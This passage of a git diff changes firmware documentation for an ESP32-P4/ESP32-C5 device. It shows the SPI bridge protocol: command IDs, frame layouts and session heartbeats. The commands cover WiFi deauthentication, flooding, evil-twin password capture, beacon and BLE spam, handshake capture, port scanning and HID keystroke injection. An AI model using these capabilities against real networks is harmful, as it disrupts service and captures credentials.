`session_manager_try_emit(s_session_id, data, len)` instead of raw - `spi_bridge_stream_push` - this prefixes meta and applies backpressure. - -For non-streaming ops (deauther, flood, evil_twin, beacon_spam, etc.), -the `kill_cb` lives in the dispatcher itself - the op's `.c` file does -not need to know about sessions at all. - -References: -- Streaming pattern: `wifi_sniffer.c`, `ble_sniffer.c`. -- Non-streaming pattern: see the `killed_*` static functions plus the - `open_session()` / `bt_open_session()` helpers in the dispatchers. diff --git a/docs/spi_bridge/p4.md b/docs/spi_bridge/p4.md deleted file mode 100644 index 8b36c15ef..000000000 --- a/docs/spi_bridge/p4.md +++ /dev/null @@ -1,523 +0,0 @@ -# SPI Bridge - P4 Master - -This component manages the high-speed communication link between the **ESP32-P4 (Main OS)** and the **ESP32-C5 (Radio Co-processor)**. - -## Architecture -The P4 acts as the **SPI Master**. It is responsible for: -1. Generating the SCLK and managing the CS line. -2. Initiating all command transfers. -3. Handling the **IRQ (Handshake)** signal from the C5 to know when response data is ready. -4. Managing the C5 lifecycle (Reset, Boot mode, and Firmware Updates via UART). - -## Protocol Specification -Every packet follows a 5-byte fixed header: -- `Sync (0xAA)`: Packet synchronization. -- `Type`: `0x01` (Command), `0x02` (Response), `0x03` (Stream). -- `Category`: Subsystem selector (`spi_cat_t`: WiFi `0x01`, BT `0x02`, …). The C5 - routes a command to a dispatcher by this byte alone. -- `Op`: Operation within the category. -- `Length`: Size of the following payload (0-255 bytes). - -`Category` + `Op` together form the packed command identifier (`spi_id_t`), -built via `SPI_CMD(cat, op)`. Use `spi_header_cmd()` / `spi_header_set_cmd()` to -read/write the pair as a single 16-bit value. - -## Command Reference - -Every command's `spi_id_t` packs `Category` (high byte) and `Op` (low byte) via `SPI_CMD(cat, op)`. On the wire those are the 3rd and 4th header bytes; in code use the single 16-bit `SPI_ID_*` constant. - -### System (`0x00`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_SYSTEM_PING` | `0x01` | `0x0001` | -| `SPI_ID_SYSTEM_STATUS` | `0x02` | `0x0002` | -| `SPI_ID_SYSTEM_REBOOT` | `0x03` | `0x0003` | -| `SPI_ID_SYSTEM_VERSION` | `0x04` | `0x0004` | -| `SPI_ID_SYSTEM_DATA` | `0x05` | `0x0005` | -| `SPI_ID_SYSTEM_STREAM` | `0x06` | `0x0006` | -| `SPI_ID_SYSTEM_LOG` | `0x07` | `0x0007` | - -`SPI_ID_SYSTEM_LOG` is a C5→P4 stream carrying log lines (`[level u8][utf-8]`) for -the companion's C5 console (see the host-link docs). - -System ops `0x40`-`0x49` (`FILE_*`, `SYSTEM_DEVICE_STATE`, `SYSTEM_CONSOLE_EXEC`, -`SYSTEM_GET_SETTINGS`, `SYSTEM_SET_SETTINGS`) are **P4-local host-link commands**: -they share the `spi_id_t` space so the companion app and P4 agree, but they are -handled on the P4 and **never travel over this SPI bridge**. They are documented -in [`../host_link/protocol.md`](../host_link/protocol.md). - -### WiFi (`0x01`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_WIFI_SCAN` | `0x10` | `0x0110` | -| `SPI_ID_WIFI_CONNECT` | `0x11` | `0x0111` | -| `SPI_ID_WIFI_DISCONNECT` | `0x12` | `0x0112` | -| `SPI_ID_WIFI_GET_STA_INFO` | `0x13` | `0x0113` | -| `SPI_ID_WIFI_SET_AP` | `0x14` | `0x0114` | -| `SPI_ID_WIFI_START` | `0x15` | `0x0115` | -| `SPI_ID_WIFI_STOP` | `0x16` | `0x0116` | -| `SPI_ID_WIFI_SAVE_AP_CONFIG` | `0x17` | `0x0117` | -| `SPI_ID_WIFI_SET_ENABLED` | `0x18` | `0x0118` | -| `SPI_ID_WIFI_SET_AP_PASSWORD` | `0x19` | `0x0119` | -| `SPI_ID_WIFI_SET_AP_MAX_CONN` | `0x1A` | `0x011A` | -| `SPI_ID_WIFI_SET_AP_IP` | `0x1B` | `0x011B` | -| `SPI_ID_WIFI_PROMISC_START` | `0x1C` | `0x011C` | -| `SPI_ID_WIFI_PROMISC_STOP` | `0x1D` | `0x011D` | -| `SPI_ID_WIFI_CH_HOP_START` | `0x1E` | `0x011E` | -| `SPI_ID_WIFI_CH_HOP_STOP` | `0x1F` | `0x011F` | -| `SPI_ID_WIFI_APP_SCAN_AP` | `0x20` | `0x0120` | -| `SPI_ID_WIFI_APP_SCAN_CLIENT` | `0x21` | `0x0121` | -| `SPI_ID_WIFI_APP_BEACON_SPAM` | `0x22` | `0x0122` | -| `SPI_ID_WIFI_APP_DEAUTHER` | `0x23` | `0x0123` | -| `SPI_ID_WIFI_APP_FLOOD` | `0x24` | `0x0124` | -| `SPI_ID_WIFI_APP_SNIFFER` | `0x25` | `0x0125` | -| `SPI_ID_WIFI_APP_EVIL_TWIN` | `0x26` | `0x0126` | -| `SPI_ID_WIFI_APP_DEAUTH_DET` | `0x27` | `0x0127` | -| `SPI_ID_WIFI_APP_PROBE_MON` | `0x28` | `0x0128` | -| `SPI_ID_WIFI_APP_SIGNAL_MON` | `0x29` | `0x0129` | -| `SPI_ID_WIFI_SNIFFER_SET_SNAPLEN` | `0x2B` | `0x012B` | -| `SPI_ID_WIFI_SNIFFER_SET_VERBOSE` | `0x2C` | `0x012C` | -| `SPI_ID_WIFI_SNIFFER_SAVE_FLASH` | `0x2D` | `0x012D` | -| `SPI_ID_WIFI_SNIFFER_SAVE_SD` | `0x2E` | `0x012E` | -| `SPI_ID_WIFI_SNIFFER_FREE_BUFFER` | `0x2F` | `0x012F` | -| `SPI_ID_WIFI_SNIFFER_STREAM_SD` | `0x30` | `0x0130` | -| `SPI_ID_WIFI_SNIFFER_CLEAR_PMKID` | `0x31` | `0x0131` | -| `SPI_ID_WIFI_SNIFFER_GET_PMKID_BSSID` | `0x32` | `0x0132` | -| `SPI_ID_WIFI_SNIFFER_CLEAR_HANDSHAKE` | `0x33` | `0x0133` | -| `SPI_ID_WIFI_SNIFFER_GET_HANDSHAKE_BSSID` | `0x34` | `0x0134` | -| `SPI_ID_WIFI_DEAUTH_STATUS` | `0x35` | `0x0135` | -| `SPI_ID_WIFI_DEAUTH_SEND_RAW` | `0x36` | `0x0136` | -| `SPI_ID_WIFI_ASSOC_REQUEST` | `0x37` | `0x0137` | -| `SPI_ID_WIFI_DEAUTH_SEND_FRAME` | `0x38` | `0x0138` | -| `SPI_ID_WIFI_DEAUTH_SEND_BROADCAST` | `0x39` | `0x0139` | -| `SPI_ID_WIFI_TARGET_SCAN_START` | `0x3A` | `0x013A` | -| `SPI_ID_WIFI_TARGET_SCAN_STATUS` | `0x3B` | `0x013B` | -| `SPI_ID_WIFI_TARGET_SAVE_FLASH` | `0x3C` | `0x013C` | -| `SPI_ID_WIFI_TARGET_SAVE_SD` | `0x3D` | `0x013D` | -| `SPI_ID_WIFI_TARGET_FREE` | `0x3E` | `0x013E` | -| `SPI_ID_WIFI_PROBE_SAVE_FLASH` | `0x3F` | `0x013F` | -| `SPI_ID_WIFI_PROBE_SAVE_SD` | `0x40` | `0x0140` | -| `SPI_ID_WIFI_EVIL_TWIN_TEMPLATE` | `0x41` | `0x0141` | -| `SPI_ID_WIFI_EVIL_TWIN_HAS_PASSWORD` | `0x42` | `0x0142` | -| `SPI_ID_WIFI_EVIL_TWIN_GET_PASSWORD` | `0x43` | `0x0143` | -| `SPI_ID_WIFI_EVIL_TWIN_RESET_CAPTURE` | `0x44` | `0x0144` | -| `SPI_ID_WIFI_CLIENT_SAVE_FLASH` | `0x45` | `0x0145` | -| `SPI_ID_WIFI_CLIENT_SAVE_SD` | `0x46` | `0x0146` | -| `SPI_ID_WIFI_AP_SAVE_FLASH` | `0x47` | `0x0147` | -| `SPI_ID_WIFI_AP_SAVE_SD` | `0x48` | `0x0148` | -| `SPI_ID_WIFI_PORT_SCAN_TARGET_RANGE` | `0x49` | `0x0149` | -| `SPI_ID_WIFI_PORT_SCAN_TARGET_LIST` | `0x4A` | `0x014A` | -| `SPI_ID_WIFI_PORT_SCAN_NETWORK` | `0x4B` | `0x014B` | -| `SPI_ID_WIFI_PORT_SCAN_CIDR` | `0x4C` | `0x014C` | -| `SPI_ID_WIFI_PORT_SCAN_STOP` | `0x4D` | `0x014D` | -| `SPI_ID_WIFI_GET_MAC` | `0x4E` | `0x014E` | -| `SPI_ID_WIFI_GET_IP_INFO` | `0x4F` | `0x014F` | -| `SPI_ID_WIFI_EVIL_TWIN_TMPL_BEGIN` | `0xA0` | `0x01A0` | -| `SPI_ID_WIFI_EVIL_TWIN_TMPL_CHUNK` | `0xA1` | `0x01A1` | - -### Bluetooth (`0x02`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_BT_SCAN` | `0x50` | `0x0250` | -| `SPI_ID_BT_CONNECT` | `0x51` | `0x0251` | -| `SPI_ID_BT_DISCONNECT` | `0x52` | `0x0252` | -| `SPI_ID_BT_GET_INFO` | `0x53` | `0x0253` | -| `SPI_ID_BT_INIT` | `0x54` | `0x0254` | -| `SPI_ID_BT_DEINIT` | `0x55` | `0x0255` | -| `SPI_ID_BT_START` | `0x56` | `0x0256` | -| `SPI_ID_BT_STOP` | `0x57` | `0x0257` | -| `SPI_ID_BT_SET_RANDOM_MAC` | `0x58` | `0x0258` | -| `SPI_ID_BT_START_ADV` | `0x59` | `0x0259` | -| `SPI_ID_BT_STOP_ADV` | `0x5A` | `0x025A` | -| `SPI_ID_BT_SET_MAX_POWER` | `0x5B` | `0x025B` | -| `SPI_ID_BT_TRACKER_START` | `0x5C` | `0x025C` | -| `SPI_ID_BT_TRACKER_STOP` | `0x5D` | `0x025D` | -| `SPI_ID_BT_GET_ADDR_TYPE` | `0x5E` | `0x025E` | -| `SPI_ID_BT_SAVE_ANNOUNCE_CFG` | `0x5F` | `0x025F` | -| `SPI_ID_BT_APP_SCANNER` | `0x60` | `0x0260` | -| `SPI_ID_BT_APP_SNIFFER` | `0x61` | `0x0261` | -| `SPI_ID_BT_APP_SPAM` | `0x62` | `0x0262` | -| `SPI_ID_BT_APP_FLOOD` | `0x63` | `0x0263` | -| `SPI_ID_BT_APP_SKIMMER` | `0x64` | `0x0264` | -| `SPI_ID_BT_APP_TRACKER` | `0x65` | `0x0265` | -| `SPI_ID_BT_APP_GATT_EXP` | `0x66` | `0x0266` | -| `SPI_ID_BT_SPAM_LIST_LOAD` | `0x68` | `0x0268` | -| `SPI_ID_BT_SPAM_LIST_BEGIN` | `0x69` | `0x0269` | -| `SPI_ID_BT_SPAM_LIST_ITEM` | `0x6A` | `0x026A` | -| `SPI_ID_BT_SPAM_LIST_COMMIT` | `0x6B` | `0x026B` | -| `SPI_ID_BT_SCREEN_INIT` | `0x6C` | `0x026C` | -| `SPI_ID_BT_SCREEN_DEINIT` | `0x6D` | `0x026D` | -| `SPI_ID_BT_SCREEN_IS_ACTIVE` | `0x6E` | `0x026E` | -| `SPI_ID_BT_SCREEN_SEND_PARTIAL` | `0x6F` | `0x026F` | -| `SPI_ID_BT_L2CAP_STATUS` | `0x70` | `0x0270` | -| `SPI_ID_BT_HID_INIT` | `0x71` | `0x0271` | -| `SPI_ID_BT_HID_DEINIT` | `0x72` | `0x0272` | -| `SPI_ID_BT_HID_IS_CONNECTED` | `0x73` | `0x0273` | -| `SPI_ID_BT_HID_SEND_KEY` | `0x74` | `0x0274` | - -### LoRa (`0x03`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_LORA_RX` | `0x80` | `0x0380` | -| `SPI_ID_LORA_TX` | `0x81` | `0x0381` | - -### Meshtastic (`0x04`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_MESH_BLE_INIT` | `0x90` | `0x0490` | -| `SPI_ID_MESH_BLE_STOP` | `0x91` | `0x0491` | -| `SPI_ID_MESH_WIFI_INIT` | `0x92` | `0x0492` | -| `SPI_ID_MESH_WIFI_STOP` | `0x93` | `0x0493` | -| `SPI_ID_MESH_FROMRADIO_PUSH` | `0x94` | `0x0494` | -| `SPI_ID_MESH_LOG_PUSH` | `0x95` | `0x0495` | -| `SPI_ID_MESH_STATUS` | `0x96` | `0x0496` | -| `SPI_ID_MESH_TORADIO_STREAM` | `0x97` | `0x0497` | - -### MeshCore (`0x05`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_MCORE_BLE_INIT` | `0x98` | `0x0598` | -| `SPI_ID_MCORE_BLE_STOP` | `0x99` | `0x0599` | -| `SPI_ID_MCORE_TX_PUSH` | `0x9A` | `0x059A` | -| `SPI_ID_MCORE_RX_STREAM` | `0x9B` | `0x059B` | -| `SPI_ID_MCORE_STATUS` | `0x9C` | `0x059C` | - -### Host Link (`0x06`) - -Companion BLE relay (the C5 owns the radio; the P4 owns crypto). The C5 routes -this category to `bt_dispatcher`. See [`../host_link/`](../host_link/README.md). - -| Command | Op | `spi_id_t` | Direction | -|---------|----|------------|-----------| -| `SPI_ID_HOST_BLE_INIT` | `0xA0` | `0x06A0` | P4→C5 cmd: start GATT + advertise | -| `SPI_ID_HOST_BLE_STOP` | `0xA1` | `0x06A1` | P4→C5 cmd: stop GATT | -| `SPI_ID_HOST_TX` | `0xA2` | `0x06A2` | P4→C5 push: device→app (BLE notify) | -| `SPI_ID_HOST_RX` | `0xA3` | `0x06A3` | C5→P4 stream: app→device (BLE write) | -| `SPI_ID_HOST_STATUS` | `0xA4` | `0x06A4` | P4→C5 cmd: poll BLE connection state | - -### Session (`0xFF`) - -| Command | Op | `spi_id_t` | -|---------|----|------------| -| `SPI_ID_SESSION_HEARTBEAT` | `0xF0` | `0xFFF0` | -| `SPI_ID_SESSION_LOST` | `0xF1` | `0xFFF1` | -| `SPI_ID_SESSION_STOP` | `0xF2` | `0xFFF2` | - -## Frame Example - -The 5-byte header maps directly to `spi_header_t`: - -```c -typedef struct { - uint8_t sync; // 0xAA - uint8_t type; // spi_type_t: CMD 0x01 / RESP 0x02 / STREAM 0x03 - uint8_t category; // spi_cat_t - uint8_t op; // operation within the category - uint8_t length; // payload bytes that follow (0-255) -} spi_header_t; -``` - -**Example - WiFi scan** (`SPI_ID_WIFI_SCAN` = `SPI_CMD(SPI_CAT_WIFI, 0x10)` = `0x0110`), no payload: - -``` -P4 -> C5 (command) - AA 01 01 10 00 - ^ ^ ^ ^ ^ - | | | | +-- length = 0 - | | | +----- op = 0x10 - | | +-------- category = 0x01 (WiFi) - | +----------- type = 0x01 (CMD) - +-------------- sync = 0xAA - -C5 -> P4 (response, after raising IRQ) - payload byte 0 is the status - AA 02 01 10 01 00 - ^ ^ ^ ^ ^ ^ - | | | | | +-- status = 0x00 (SPI_STATUS_OK) - | | | | +----- length = 1 - | | | +-------- op = 0x10 - | | +----------- category = 0x01 - | +-------------- type = 0x02 (RESP) - +----------------- sync = 0xAA -``` - -Scan results are then pulled item-by-item through the **Generic Data Pipe** (`SPI_ID_SYSTEM_DATA`) described below. - -## Generic Data Pipe -To keep the bridge simple, we use a "Dumb Pipe" approach for large data sets (like Scan results): -1. **Pull Count**: Call `SPI_ID_SYSTEM_DATA` with index `0xFFFF`. -2. **Pull Item**: Call `SPI_ID_SYSTEM_DATA` with index `0 to N`. -3. **Real-time Stats**: Call `SPI_ID_SYSTEM_DATA` with index `0xEEEE` to get a `sniffer_stats_t` structure. - -## Stream Transport (batched) - -Long-running ops (sniffers, mesh bridge) emit a continuous stream of records. -The P4 drains them by polling `SPI_ID_SYSTEM_STREAM`. To keep throughput high, -the transport **batches many records into one transfer** instead of one record -per round-trip: - -- The C5 buffers records in a ring (depth `SPI_STREAM_QUEUE_LEN = 64`). On a - `SPI_ID_SYSTEM_STREAM` poll it packs as many as fit into a single large frame - of `SPI_STREAM_FRAME_SIZE` (2048 B) and the P4 always clocks that fixed size. -- Stream frame layout (after the 5-byte header, `type = STREAM`): - `[u16 batch_len]` then `batch_len` bytes of records, each - `[u16 op][u8 len][len bytes]`. `batch_len = 0` means "no data" → the P4 backs - off and polls again later. -- The P4 unpacks and dispatches **each record to its `op`'s stream callback**, - exactly as if it had arrived in its own frame - so session/`seq`/backpressure - semantics stay **per record** (see Session Lifecycle). The command/response - path is unaffected and still uses `SPI_FRAME_SIZE`. - -Two related tunables: the C5 signals readiness with a short rising-edge IRQ -pulse (~10 µs - the P4 catches it via a GPIO edge interrupt, so no held level -or millisecond delay is needed), and bursts are absorbed by the 64-deep ring; -when it overflows, records are dropped and counted (never block capture). - -### Stream Example (WiFi sniffer) - -**Producer - C5** (each captured 802.11 frame becomes one record; the session -layer adds the `{session_id, seq}` meta and applies backpressure): -```c -spi_wifi_sniffer_frame_t f = { .rssi = -42, .channel = 6, .len = n, /* data */ }; -session_manager_try_emit(session_id, (const uint8_t *)&f, 3 + n); -``` - -**On the wire** - the P4 polls `SYSTEM_STREAM` and the C5 returns one 2 KB frame -batching the queued records: -``` -P4 -> C5: AA 01 00 06 00 poll: SYSTEM_STREAM (cat 0x00, op 0x06) -C5 -> P4: AA 03 00 00 00 | - ^ header, type=STREAM (cat/op/length unused for the batch) - payload: - 20 00 batch_len = 0x0020 (32 bytes of records) - ── record 1 ─────────────────────── - 25 01 op = 0x0125 (SPI_ID_WIFI_APP_SNIFFER) - 0D rec_len = 13 - 34 12 00 00 01 00 00 00 spi_stream_meta_t { session_id=0x1234, seq=1 } - D6 06 02 AA BB frame: rssi=-42, ch=6, len=2, data=AA BB - ── record 2 (same op, seq=2) ────── - 25 01 0D 34 12 00 00 02 00 00 00 D6 06 02 CC DD - ── remaining bytes up to 2048 = padding, ignored (batch_len bounds it) ── -``` - -**Consumer - P4** (each record is dispatched to the op's callback; the meta is -stripped by the session layer, so the consumer sees only the frame): -```c -// registered via spi_session_start(SPI_ID_WIFI_APP_SNIFFER, …, on_stream, …) -static void on_stream(const uint8_t *payload, uint8_t len) { - const spi_wifi_sniffer_frame_t *f = (const void *)payload; // one captured frame - storage_stream_write(pcap, f->data, f->len); -} -``` -See `wifi_sniffer.c` (both firmwares) for the full reference implementation. - -## Adding a New Command -To add a new feature (e.g., "GPS Get Location"): - -1. **Protocol**: Add `SPI_ID_GPS_GET` to `spi_protocol.h`. -2. **C5 Dispatcher**: - - Open `wifi_dispatcher.c` (or a new `gps_dispatcher.c`). - - Add the case for `SPI_ID_GPS_GET`. - - Call the actual hardware driver. - - If it returns a list, call `spi_bridge_provide_results(pointer, count, size)`. -3. **P4 Wrapper**: - - Create a wrapper in `Applications` or `Service`. - - Use `spi_bridge_send_command(SPI_ID_GPS_GET, ...)` to trigger the action. - - Use the generic `SPI_ID_SYSTEM_DATA` to pull results if necessary. - -## Session Lifecycle (Long-Running Operations) - -For operations that run for an extended period (sniffers, monitors, attacks -that emit a stream of events), the basic request-response model is unsafe: -if the master dies or stops listening, the slave keeps running indefinitely -and sends data into the void. The session protocol fixes this with three -mechanisms working together: - -### 1. Session ID -Every long-running operation is tagged with a 32-bit `session_id` chosen -randomly by the C5 when the operation starts. Both sides track the active -session; stream packets carry the id so stale data can be discarded after -a restart. - -### 2. Heartbeat (anti-zombie) -The P4 sends `SPI_ID_SESSION_HEARTBEAT { session_id, last_acked_seq }` -every **2 seconds** while a session is active. The C5 has a watchdog task -that runs every second and kills any session whose last heartbeat is older -than **5 seconds**. When killed, the C5 emits `SPI_ID_SESSION_LOST` as a -stream so the master can react (e.g., restart, show error UI). - -If the master detects 3 consecutive heartbeat failures, it assumes the -session is gone and fires its local `on_lost` callback. - -### 3. Backpressure window -Stream packets carry `{ session_id, seq }`. The master accumulates -`last_acked_seq` and reports it via heartbeat. The C5 refuses to emit if -`seq - last_acked_seq >= SPI_SESSION_WINDOW (64)` - protects against -buffer overflow when the slave produces faster than the master drains. -Drops are counted and logged. - -### Wire shapes - -| Direction | When | Packet | -|-----------|------|--------| -| P4 → C5 | START | `op_id` + op-specific params | -| C5 → P4 | START reply | status byte + `spi_session_resp_t { session_id }` | -| P4 → C5 | every 2s | `SPI_ID_SESSION_HEARTBEAT` + `spi_heartbeat_req_t` | -| C5 → P4 | heartbeat reply | status + `spi_heartbeat_resp_t { alive }` | -| C5 → P4 | data | batched STREAM frame (see "Stream Transport"); each record = `op` + `spi_stream_meta_t { session_id, seq }` + payload | -| P4 → C5 | STOP | `SPI_ID_SESSION_STOP` + `spi_session_stop_req_t { session_id }` | -| C5 → P4 | watchdog kill | `SPI_ID_SESSION_LOST` STREAM + `spi_session_lost_t { session_id, cmd }` | - -### Master API - -```c -// Start a long-running operation. Spawns heartbeat task internally. -uint32_t spi_session_start(spi_id_t op_id, - const uint8_t *params, uint8_t params_len, - spi_session_stream_cb_t on_stream, // peeled meta - spi_session_lost_cb_t on_lost); - -// Clean teardown. Kills heartbeat, sends STOP. -esp_err_t spi_session_stop(uint32_t session_id); -``` - -Returns `SPI_SESSION_INVALID_ID` (0) on START failure. The `on_stream` -callback receives the **operation payload only** - the meta header is -stripped and ack tracking is invisible to the consumer. - -### Slave API (C5) - -```c -// Open a session for the op_id. Closes any prior session first. -uint32_t session_manager_start(spi_id_t op_id, session_kill_cb_t kill_cb); - -// Emit a stream packet (prefixes meta, applies backpressure). -esp_err_t session_manager_try_emit(uint32_t session_id, - const uint8_t *data, uint8_t len); -``` - -The op implementation stores the returned `session_id` and uses it for -every emit. The `kill_cb` is invoked by the watchdog if heartbeats stop - -the op should call its own `_stop()` from there. - -### Migrating a New Operation (recipe) - -There are two patterns depending on whether the op emits streams. Both -are used in the codebase - see `wifi_sniffer` (streaming) and -`wifi_deauther` (non-streaming) as references. - -#### Pattern A - Non-streaming op (deauther, flood, evil_twin, …) - -The op runs in background but does NOT emit packets to the master. The -master polls for results via `SPI_ID_SYSTEM_DATA` if it needs data. - -**C5 side (only the dispatcher changes - op .c/.h untouched):** -```c -// In wifi_dispatcher.c (or bt_dispatcher.c): -static void killed_my_op(spi_id_t id) { (void)id; my_op_stop(); } - -case SPI_ID_MY_OP: - if (!my_op_start(...)) return SPI_STATUS_ERROR; - return open_session(SPI_ID_MY_OP, killed_my_op, - out_resp_payload, out_resp_len, my_op_stop); -``` - -**P4 side (wrapper):** -```c -static uint32_t s_session_id = SPI_SESSION_INVALID_ID; - -bool my_op_start(...) { - s_session_id = spi_session_start(SPI_ID_MY_OP, params, len, NULL, NULL); - return s_session_id != SPI_SESSION_INVALID_ID; -} - -void my_op_stop(void) { - if (s_session_id != SPI_SESSION_INVALID_ID) { - spi_session_stop(s_session_id); - s_session_id = SPI_SESSION_INVALID_ID; - } -} -``` - -#### Pattern B - Streaming op (sniffer, ble_sniffer, …) - -The op emits a continuous stream of packets to the master. - -**C5 side:** -1. Add `static uint32_t s_session_id = SPI_SESSION_INVALID_ID;` to the - op's `.c`. -2. Add public `_bind_session(uint32_t)` setter and - `_session_killed(spi_id_t)` kill callback (the latter calls `_stop()`). -3. Replace `spi_bridge_stream_push(SPI_ID_OP, data, len)` with - `session_manager_try_emit(s_session_id, data, len)`. -4. In the dispatcher, replace the START handler with: call - `op_start(...)`, then `session_manager_start(SPI_ID_OP, op_session_killed)`, - then `op_bind_session(sid)`, then return - `spi_session_resp_t { sid }` as response payload. - -**P4 side:** -1. Replace `spi_bridge_send_command(SPI_ID_OP, …)` + - `spi_bridge_register_stream_cb(SPI_ID_OP, raw_cb)` with a single - `spi_session_start(SPI_ID_OP, params, …, on_stream, on_lost)`. -2. Store the returned `session_id`. -3. Change STOP to `spi_session_stop(session_id)`. -4. The `on_stream` callback signature is - `void(const uint8_t *payload, uint8_t len)` - the meta header is - already stripped. - -### Tunables -Defined in `session_manager.c` (slave) and `spi_session.c` (master): -- `SESSION_TIMEOUT_MS` = 5000 - slave watchdog timeout -- `WATCHDOG_PERIOD_MS` = 1000 - slave watchdog tick -- `HEARTBEAT_INTERVAL_MS` = 2000 - master ping period -- `HEARTBEAT_FAIL_LIMIT` = 3 - master fails before declaring lost -- `SPI_SESSION_WINDOW` = 64 - backpressure window (in `spi_protocol.h`) - -### Migrated operations - -All long-running ops now use the session lifecycle. Each one: -- Returns `spi_session_resp_t { session_id }` on START. -- Has a kill_cb registered with the session manager that calls its `_stop()`. -- Is closed by the master via `SPI_ID_SESSION_STOP { session_id }` (sent - internally by `spi_session_stop`). -- Is auto-killed by the C5 watchdog if the master stops sending heartbeats - for 5s (master crash, screen freeze, etc.). - -| Op | C5 module | P4 wrapper | Streams? | -|----|-----------|-----------|----------| -| `WIFI_APP_SNIFFER` | wifi_sniffer.c | wifi_sniffer.c | ✓ stream | -| `BT_APP_SNIFFER` | ble_sniffer.c | bluetooth_service.c | ✓ stream | -| `WIFI_APP_DEAUTHER` | wifi_deauther.c | wifi_deauther.c | - | -| `WIFI_APP_FLOOD` | wifi_flood.c | wifi_flood.c | - | -| `WIFI_APP_EVIL_TWIN` | evil_twin.c | evil_twin.c | - | -| `WIFI_APP_BEACON_SPAM` | beacon_spam.c | beacon_spam.c | - | -| `WIFI_APP_DEAUTH_DET` | deauther_detector.c | deauther_detector.c | - | -| `WIFI_APP_PROBE_MON` | probe_monitor.c | probe_monitor.c | - | -| `WIFI_APP_SIGNAL_MON` | signal_monitor.c | signal_monitor.c | - | -| `BT_APP_FLOOD` | ble_connect_flood.c | ble_connect_flood.c | - | -| `BT_APP_SKIMMER` | skimmer_detector.c | skimmer_detector.c | - | -| `BT_APP_TRACKER` | tracker_detector.c | tracker_detector.c | - | -| `BT_APP_SPAM` | (handler pending) | canned_spam.c | - | -| `BT_APP_FLOOD` (L2CAP variant) | ble_connect_flood.c | ble_l2cap_flood.c | - | - -The legacy `SPI_ID_WIFI_APP_ATTACK_STOP` and `SPI_ID_BT_APP_STOP` shotgun -commands have been removed entirely. Every op now stops via its own -session via `SPI_ID_SESSION_STOP { session_id }`. - -## Hardware Hookup -| Signal | P4 Pin | C5 Pin | -|--------|--------|--------| -| SCLK | 20 | 6 | -| MOSI | 21 | 7 | -| MISO | 22 | 2 | -| CS | 23 | 10 | -| IRQ | 2 | 3 | -| RESET | 48 | EN | -| BOOT | 33 | IO0 | -| UART TX| 46 | RX | -| UART RX| 47 | TX | diff --git a/docs/storage_api/p4.md b/docs/storage_api/README.md similarity index 52% rename from docs/storage_api/p4.md rename to docs/storage_api/README.md index 4d55cc93c..2a0627d48 100644 --- a/docs/storage_api/p4.md +++ b/docs/storage_api/README.md @@ -1,4 +1,4 @@ -# Storage API +# P4 The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. @@ -475,6 +475,457 @@ All functions return `esp_err_t` values. Common return codes: Always check return values: +```c +esp_err_t ret = storage_write_string("/config/test.txt", "data"); +if (ret != ESP_OK) { + ESP_LOGE(TAG, "Write failed: %s", esp_err_to_name(ret)); +} +``` +--- + +# C5 + +The **Storage API** provides a unified, backend-agnostic interface for file system operations in the Highboy project. It abstracts the underlying storage mechanism (LittleFS, SD Card, etc.), allowing developers to perform file and directory operations using a consistent set of functions without worrying about low-level details or mount points. + +## Features + +- **Unified Interface**: Same API for internal flash (LittleFS) and external SD cards. +- **Backend Abstraction**: Uses VFS layer underneath, works with any configured backend. +- **Automatic Path Resolution**: Automatically handles mount points - use relative paths. +- **Robustness**: Includes safety checks, recursive directory creation, and error handling. +- **High-Level Helpers**: Easy reading/writing of strings, lines, formatted text, and CSV data. + +--- + +## Architecture + +``` +Application Code + ↓ + Storage API ← You are here (recommended layer) + ↓ + VFS Core ← Backend abstraction + ↓ + SD Card / LittleFS / SPIFFS +``` + +**Dependencies:** +- Requires `vfs_core` to be initialized +- Backend selection is done in `vfs_config.h` + +--- + +## Initialization + +Before performing any operations, the storage system must be initialized. + +```c +#include "storage_init.h" + +// Initialize the storage system +// This calls vfs_init_auto() internally +esp_err_t ret = storage_init(); +if (ret != ESP_OK) { + // Handle error +} + +// Check if mounted +if (storage_is_mounted()) { + // Ready to use +} + +// Deinitialize when done (rarely needed for main application) +storage_deinit(); +``` + +### Default Directory Structure + +The storage system automatically creates a standard directory tree on initialization: + +``` +/ (e.g., /sdcard or /littlefs) +├── config/ - Configuration files +├── data/ - Application data +├── logs/ - Log files +├── cache/ - Temporary cache +├── temp/ - Temporary files +├── backup/ - Backup files +├── certs/ - SSL/TLS certificates +├── scripts/ - Script files +└── captive_portal/ - Captive portal files +``` + +These directories are defined in `storage_dirs.h` and can be accessed via macros: + +```c +#include "storage_dirs.h" + +// Macros automatically include the mount point +// Example: STORAGE_DIR_CONFIG expands to "/sdcard/config" or "/littlefs/config" + +// Write to config directory +storage_write_string(STORAGE_DIR_CONFIG "/settings.json", json_data); + +// Append to logs +storage_append_formatted(STORAGE_DIR_LOGS "/system.log", "[%lu] Event\n", timestamp); + +// Save backup +storage_file_copy(STORAGE_DIR_DATA "/important.dat", STORAGE_DIR_BACKUP "/important.dat"); +``` + +**Path Handling:** +- All Storage API functions accept **relative paths** (e.g., `/config/file.txt`) +- Mount point is automatically prepended internally +- You can use either `"/config/file.txt"` or `STORAGE_DIR_CONFIG "/file.txt"` +- Paths starting with `/` are treated as relative to mount point +- Paths already containing the mount point are used as-is + +**Note**: Directory creation is non-critical. If any directory fails to create, initialization continues successfully, and you can create directories manually later as needed. + +--- + +## File Operations + +Header: `storage_impl.h` + +### Basic Management + +| Function | Description | +|----------|-------------| +| `bool storage_file_exists(const char *path)` | Checks if a file exists. | +| `esp_err_t storage_file_delete(const char *path)` | Deletes a file. | +| `esp_err_t storage_file_rename(const char *old, const char *new)` | Renames or moves a file. | +| `esp_err_t storage_file_copy(const char *src, const char *dst)` | Copies a file. | +| `esp_err_t storage_file_move(const char *src, const char *dst)` | Moves a file (same as rename). | +| `esp_err_t storage_file_clear(const char *path)` | Clears file content (truncates to 0). | +| `esp_err_t storage_file_truncate(const char *path, size_t 